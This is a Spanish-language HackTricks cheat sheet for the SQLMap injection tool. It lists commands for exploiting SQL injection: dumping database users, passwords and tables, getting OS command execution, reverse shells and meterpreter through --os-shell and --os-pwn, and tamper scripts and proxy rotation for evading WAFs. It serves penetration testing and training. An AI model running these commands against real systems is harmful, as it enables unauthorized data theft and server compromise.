SQLMap

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Argumentos básicos para SQLmap

Genérico

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Opciones de técnica (--technique)

El argumento --technique define qué métodos de SQL injection intentará sqlmap. Cada carácter en la cadena representa una técnica:

LetraTécnicaDescripción
BBoolean-based blindUtiliza condiciones verdadero/falso para inferir datos
EError-basedAprovecha mensajes de error verbosos del DBMS para exfiltrar resultados
UUNION queryInyecta sentencias UNION SELECT para obtener datos a través del mismo canal
SStacked queriesAñade sentencias adicionales separadas por ;
TTime-based blindSe basa en retrasos (SLEEP, WAITFOR) para detectar la inyección
QInline / out-of-bandUsa funciones como LOAD_FILE() o canales OOB como DNS

El orden por defecto es BEUSTQ. Puedes reordenarlos o limitarlos, p. ej. solo Boolean y Time-based en ese orden:

sqlmap -u "http://target/?id=1" --technique="BT" --batch

Recuperar Información

Interna

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Datos de DB

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Lugar de inyección

Desde una captura de Burp/ZAP

Captura la request y crea un archivo req.txt

sqlmap -r req.txt --current-user

Inyección en solicitudes GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST Request Injection

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections en Headers y otros HTTP Methods

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Second order injection

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Rastrear un sitio web con SQLmap y auto-exploit

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personalizar la inyección

Establecer un sufijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Prefijo

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Ayuda para encontrar boolean injection

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescripción
apostrophemask.pyReplaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.pyReplaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.pyAgrega un byte NULL codificado al final del payload
base64encode.pyCodifica en Base64 todos los caracteres de un payload dado
between.pyReemplaza el operador greater than (‘>’) con ‘NOT BETWEEN 0 AND #’
bluecoat.pyReemplaza el carácter espacio después de la sentencia SQL con un carácter blanco válido aleatorio. Después reemplaza el carácter = con el operador LIKE
chardoubleencode.pyDoble url-encodea todos los caracteres en un payload dado (sin procesar los ya codificados)
commalesslimit.pyReemplaza instancias como ‘LIMIT M, N’ con ‘LIMIT N OFFSET M’
commalessmid.pyReemplaza instancias como ‘MID(A, B, C)’ con ‘MID(A FROM B FOR C)’
concat2concatws.pyReemplaza instancias como ‘CONCAT(A, B)’ con ‘CONCAT_WS(MID(CHAR(0), 0, 0), A, B)’
charencode.pyUrl-encodea todos los caracteres en un payload dado (sin procesar los ya codificados)
charunicodeencode.pyUnicode-url-encodea caracteres no codificados en un payload dado (sin procesar los ya codificados). “%u0022”
charunicodeescape.pyUnicode-url-encodea caracteres no codificados en un payload dado (sin procesar los ya codificados). “\u0022”
equaltolike.pyReemplaza todas las ocurrencias del operador equal (‘=’) por el operador ‘LIKE’
escapequotes.pyEscapa con slash las comillas (’ and “)
greatest.pyReemplaza el operador greater than (‘>’) por su contraparte ‘GREATEST’
halfversionedmorekeywords.pyAñade un comentario versionado de MySQL antes de cada keyword
ifnull2ifisnull.pyReemplaza instancias como ‘IFNULL(A, B)’ con ‘IF(ISNULL(A), B, A)’
modsecurityversioned.pyEnvuelve la consulta completa con un comentario versionado
modsecurityzeroversioned.pyEnvuelve la consulta completa con un comentario versionado-cero
multiplespaces.pyAñade múltiples espacios alrededor de keywords SQL
nonrecursivereplacement.pyReemplaza keywords SQL predefinidos con representaciones adecuadas para filtros de reemplazo (ej. .replace(“SELECT”, “”))
percentage.pyAñade un signo de porcentaje (‘%’) delante de cada carácter
overlongutf8.pyConvierte todos los caracteres en un payload dado (sin procesar los ya codificados)
randomcase.pyReemplaza cada carácter de los keywords por un valor con mayúsculas/minúsculas aleatorio
randomcomments.pyAñade comentarios aleatorios a keywords SQL
securesphere.pyAñade una cadena especialmente creada
sp_password.pyAñade ‘sp_password’ al final del payload para ofuscación automática en logs de DBMS
space2comment.pyReemplaza el carácter espacio (’ ’) por comentarios
space2dash.pyReemplaza el carácter espacio (’ ‘) por un comentario con dash (’–‘) seguido de una cadena aleatoria y una nueva línea (’\n’)
space2hash.pyReemplaza el carácter espacio (’ ‘) por un carácter pound (’#‘) seguido de una cadena aleatoria y una nueva línea (’\n’)
space2morehash.pyReemplaza el carácter espacio (’ ‘) por un carácter pound (’#‘) seguido de una cadena aleatoria y una nueva línea (’\n’)
space2mssqlblank.pyReemplaza el carácter espacio (’ ’) por un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mssqlhash.pyReemplaza el carácter espacio (’ ‘) por un carácter pound (’#‘) seguido de una nueva línea (’\n’)
space2mysqlblank.pyReemplaza el carácter espacio (’ ’) por un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
space2mysqldash.pyReemplaza el carácter espacio (’ ‘) por un comentario con dash (’–‘) seguido de una nueva línea (’\n’)
space2plus.pyReemplaza el carácter espacio (’ ‘) por plus (’+’)
space2randomblank.pyReemplaza el carácter espacio (’ ’) por un carácter en blanco aleatorio de un conjunto válido de caracteres alternativos
symboliclogical.pyReemplaza los operadores lógicos AND y OR por sus contrapartes simbólicas (&& and ||)
unionalltounion.pyReemplaza UNION ALL SELECT por UNION SELECT
unmagicquotes.pyReemplaza el carácter de comilla (’) con una combinación multibyte %bf%27 junto con un comentario genérico al final (para que funcione)
uppercase.pyReemplaza cada carácter de los keywords por valor en MAYÚSCULAS ‘INSERT’
varnish.pyAñade un header HTTP ‘X-originating-IP’
versionedkeywords.pyEncierra cada keyword no-función con comentario versionado de MySQL
versionedmorekeywords.pyEncierra cada keyword con comentario versionado de MySQL
xforwardedfor.pyAñade un header HTTP falso ‘X-Forwarded-For’
luanginxmore.pyTamper solo para POST que antepone millones de parámetros ficticios para agotar los parsers Lua‑Nginx WAF (por ej., Cloudflare).

luanginxmore genera ~4.2M parámetros POST aleatorios antes de tu payload; úsalo solo con --method=POST y espera tamaños de petición grandes que pueden hacer caer WAFs Lua-Nginx mal configurados.

Opciones recientes que conviene habilitar (>=1.9.x)

  • HTTP/2 transport: --http2 fuerza a sqlmap a usar HTTP/2 (útil contra front-ends que limitan HTTP/1.1 pero relajan h2). Combínalo con --force-ssl para fijar HTTPS.
  • Proxy rotation: --proxy-file proxies.txt --proxy-freq 3 rotará por una lista, cambiando de proxy cada 3 peticiones para evitar throttling basado en IP.
  • Offline / purge modes: --offline reutiliza datos de sesión cacheados sin tocar el objetivo (tráfico de red cero), mientras que --purge limpia de forma segura el directorio de sesión/output cuando termines.
  • Mobile UA emulation: --mobile te pedirá falsear un User-Agent de smartphone popular, útil en APIs que exponen campos adicionales a clientes móviles.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks